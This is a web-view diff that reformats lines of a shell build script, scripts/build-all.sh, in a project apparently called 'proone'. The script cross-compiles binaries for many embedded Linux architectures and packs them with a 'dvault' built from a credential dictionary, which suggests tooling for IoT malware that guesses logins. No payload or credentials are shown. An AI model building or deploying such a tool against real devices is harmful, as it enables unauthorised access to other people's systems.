aboutsummaryrefslogtreecommitdiff
path: root/scripts/build-all.sh
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/build-all.sh')
-rwxr-xr-xscripts/build-all.sh28
1 files changed, 23 insertions, 5 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index a9eaeb5..0c6e16f 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -35,7 +35,9 @@ HOST_ARR=(
"sh4-linux"
)
ARR_SIZE="${#ARCH_ARR[@]}"
-if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ]; then
+if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] ||
+ [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ];
+then
echo "Config error: arrays" >&2
exit 2
fi
@@ -64,7 +66,14 @@ PROONE_TOOLS="
rm -rf "$PROONE_PREFIX"
-mkdir "$PROONE_PREFIX" "$PROONE_DEBUG_SYM_DIR" "$PROONE_EXEC_DIR" "$PROONE_TOOLS_DIR" "$PROONE_MISC_BIN_DIR" "$PROONE_BINARCH_DIR" "$PROONE_REL_DIR"
+mkdir\
+ "$PROONE_PREFIX"\
+ "$PROONE_DEBUG_SYM_DIR"\
+ "$PROONE_EXEC_DIR"\
+ "$PROONE_TOOLS_DIR"\
+ "$PROONE_MISC_BIN_DIR"\
+ "$PROONE_BINARCH_DIR"\
+ "$PROONE_REL_DIR"
set +e
make distclean
set -e
@@ -79,14 +88,23 @@ cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR"
make distclean
# generate dvault
-"$PROONE_TOOLS_DIR/proone-mkcdict" "./src/proone_conf/cred_dict.txt" "$PROONE_CDICT"
+"$PROONE_TOOLS_DIR/proone-mkcdict"\
+ "./src/proone_conf/cred_dict.txt"\
+ "$PROONE_CDICT"
"$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT"
DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT")
# cross-compile targets
for (( i = 0; i < ARR_SIZE; i += 1 )); do
- PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" xcomp linux-app "${TOOLCHAIN_ARR[$i]}" "scripts/build-arch.sh"
+ PROONE_HOST="${HOST_ARR[$i]}"\
+ PROONE_BIN_ARCH="${ARCH_ARR[$i]}"\
+ xcomp linux-app\
+ "${TOOLCHAIN_ARR[$i]}"\
+ "scripts/build-arch.sh"
done
# pack
-"$PROONE_TOOLS_DIR/proone-pack" "$PROONE_REL_PREFIX" "$PROONE_DVAULT" "$PROONE_EXEC_PREFIX".*
+"$PROONE_TOOLS_DIR/proone-pack"\
+ "$PROONE_REL_PREFIX"\
+ "$PROONE_DVAULT"\
+ "$PROONE_EXEC_PREFIX".*